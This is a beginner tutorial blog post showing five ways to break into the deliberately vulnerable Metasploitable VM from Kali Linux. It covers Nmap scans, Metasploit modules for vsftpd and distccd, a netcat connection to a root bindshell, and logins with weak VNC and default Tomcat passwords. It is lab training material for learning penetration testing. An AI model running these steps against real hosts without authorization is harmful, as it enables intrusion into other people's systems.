Hack Metasploitable machine in 5 ways using Kali Linux 🤯😈
Tags: cybersecurity, linux, metasploit, nmap
Published: 2023-03-09 18:41:27

Hi there!👋
Today I'm going to show you how we can **HACK** Metasploitable virtual machine in 5 different ways to learn penetration testing with Nmap and Metasploit framework.

Let's get into it!


![cute hacker penetration testing kali linux](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vcts0gj3xodaw2gsczo4.png)

Before we get our hands dirty, we need to take some steps.

## 1. Install Kali Linux
For penetration testing or any cybersecurity activity it's better to have a Linux based operating system running on our systems. 
If you don't have any Linux OS installed on your machine, You can [install Kali Linux](https://www.kali.org/get-kali/#kali-installer-images) on a virtualbox like [Oracle VM VirtualBox](org).
<br>
## 2. Install Metasploitable Virtual Machine
Let me introduce Metasploitable virtual machine to you.

> Metasploitable is an intentionally vulnerable Linux virtual machine that can be used to conduct security training, test security tools, and practice common penetration testing techniques.


You can download [metasploitable virtual machine](https://information.rapid7.com/download-metasploitable-2017.html?LS=1631875&CS=web) and again install that on Oracle virtualbox.
<br>

## 3. Nmap And Metasploitable Framework

> Nmap allows you to scan your network and discover not only everything connected to it, but also a wide variety of information about what's connected, what services each host is operating, and so on.
 

> The Metasploit Framework is a Ruby-based, modular penetration testing platform that enables you to write, test, and execute exploit code. The Metasploit Framework contains a suite of tools that you can use to test security vulnerabilities, enumerate networks, execute attacks, and evade detection.

By default Kali Linux has Nmap and metasploitable installed in it, but if you are using other Linux distro (e.g. Ubuntu) you need to install these packages.

---

**_REMEMBER_**
_You should change network adapter for your Linux OSes (Kali & Metasploitable) on **Bridge Adapter** for their IPs to be in the same range as your device. (In Oracle go to Settings > Network > adapter 1)_

Now, it's time for us to start hacking and get our hands dirty. 😈

Run both kali Linux and Metasploitable.

Then we should get the IP address of Metasploitable. Just type this command in metasploitable.

```
ifconfig
```
Then it shows some results containing the IP address. Mine is in eth0 192.168.1.3. 

Now we should scan the target machine in Kali Linux using Nmap.

```
nmap -sV 192.168.1.3 -p-
```
_Remember to write your own target machine IP in this command_

**-sV** : This is a service version scan. In order to know what
exploits will work, it is very helpful to know the service
version behind an open port.

**-p-** : Scans all ports.

Then you'll see a result such as this:

![nmap scan on metasploitable](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5k82dzttopndw8krh8cv.png)
As you might know the more open ports we have in a server, the less secure that server is. The reason is because the possibility of having vulnerable ports to exploit increases.

## 1. VSFTPD Open Port
I'll start with the first open port (port 21 vsftpd).
In your console, start the Metasploit framework by this command:

```
msfconsole
```
After metasploit started, type this:

```
search vsftpd
```
By this command we are searching for the service of the first open port that we've found.

Now you'll see a result like this:

![search vsftpd to exploit](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vkqtc8b2pgdhr2gnkbyk.png)
As you see we found 1 excellent module to exploit this port.
Let's use it.

```
use 0
```
And now we should know what options should we pass to this module to work.

```
show options
```
As the result says we should only specify `RHOST` which is the IP of our target machine.

```
set RHOST <your-target-machine-IP>
```
Now we are ready to exploit the Metasploitable.

```
exploit
```
And BAM!!! 
You can now run any command you want or do malicious things to the target machine. 

![exploit Metasploitable](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xzxfdb3g1m7kbdtt3z2l.png)

## 2. Bindshell Open Port

Let's get into the second vulnerability which is very easy to detect.

Well This one is the most hilarious type of vulnerability that a machine can have which takes us straight to the root account and normally is very rare.

To do so, we use **netcat**.

```
nc <your-target-machine-IP> <port>
```
The port in this case is 1524.
And now we are the root account because of the stupid mistake of the admin.

![netcat access root account vulnerability](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5s7k0k2vgms3gwq6ingc.png)

## 3. DISTCCD Open Port
distccd service is another vulnerable port which is open.

```
search distccd
```
It gives us 1 module to use.

```
use 0
```
Again we have to specify the `RHOST`.

```
set RHOST <your-target-machine-IP>
```
Now type this:

```
show payloads
```
This command gives us every available command that we can use to exploit the target.

![payload options for distccd](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7fpnxi3bk46g0o3h9od0.png)
In this case we should use payload number 5.

```
set payload 5
```
Then exploit it.

```
exploit
```
And YEAH! we could exploit it for the 3rd time.😎

## 4. VNC Open Port
Another important vulnerability in our Nmap scan is the port 5900 which belongs to VNC.
Exploiting this one is a little bit different but more interesting. 😛

Type this command:

```
vnc <your-target-machine-IP>
```
Now we should enter the passsword.
If we type `msfadmin` it throws an authentication failure.
But if we type `password` as the password we can access it because of its weak password.

![VNC remote connection vulnerability](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/mb8zv17tvw1o3673ofwq.png)

## 5. Apache Vulnerability
In this item we're going to use Nmap script to find a vulnerability in Metasploitable Apache.

> The Nmap Scripting Engine (NSE) is one of Nmap's most powerful and flexible features. It allows users to write (and share) simple scripts to automate a wide variety of networking tasks. Those scripts are then executed in parallel with the speed and efficiency you expect from Nmap.

We have different categories of NSE scripts such as auth, broadcast, brute, default. discovery, dos, exploit ...etc. 
We are going to use **auth**.

```
nmap --script auth <your-target-machine-IP> -sV
```
If you scroll down, you'll see one of the auth vulnerabilities is for Apache at port 8180 which shows us the username and the password.

![Apache auth vulnerability](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1eng4ujfrc3avymhrna6.png)

Simply type this URL in your browser:

```
<your-target-machine-IP>:8180/admin/
```
Then as our scan revealed, type `tomcat` as the username and the 
password.

You are now logged in to the Apache server of the target. Congratulation!🥳

![Apache hack login](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/i39wqtozfsl9owbkt718.png)

---

## Conclusion
Since Metasploitable is for learning penetration testing, you can find other vulnerabilities as well which if you are interested in, you may do just like what we did in this post.
Led me know if you found other vulnerabilities.😉
Thanks!🤡